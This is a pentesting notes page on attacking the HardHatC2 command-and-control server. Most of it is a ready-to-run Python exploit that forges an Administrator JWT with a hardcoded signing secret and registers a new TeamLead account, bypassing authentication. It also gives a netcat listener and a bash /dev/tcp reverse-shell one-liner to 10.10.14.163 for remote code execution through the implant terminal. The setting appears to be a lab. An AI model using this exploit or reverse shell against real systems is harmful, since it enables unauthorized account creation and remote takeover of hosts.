> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ports-and-services/hardhatc2-7096.md).
# HardHatC2 - 7096
HardHatC2 authentication bypass, forged JWT generation, TeamLead user creation, and implant reverse shell execution.
{% hint style="info" %}
HardHatC2 is a multi-user command and control (C2) framework based on C# and .NET, designed for red team engagements and penetration testing. It includes an ASP.NET Team Server, a Blazor .NET client, and integrated C# implants, with support for third-party implants in other languages.
{% endhint %}
## **HardHat C2 Authentication Bypass**
{% embed url="" %}
Use the following script to bypass authentication and create a new user:
```python
import jwt
import datetime
import uuid
import requests
rhost = '127.0.0.1:5000'
# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "jordan12345",
"role": "TeamLead",
"username": "jordan"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
```
The script generates the `jordan` user with the `TeamLead` role.
## HardHat C2 RCE
In the `ImplantInteract` section, terminal access is available. Running `whoami` shows that the current user is `sergej`.
Establish a reverse shell as `sergej` while listening on port 443:
```bash
nc -nlvp 443
```
Run the following command to initiate the reverse connection:
```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```
---
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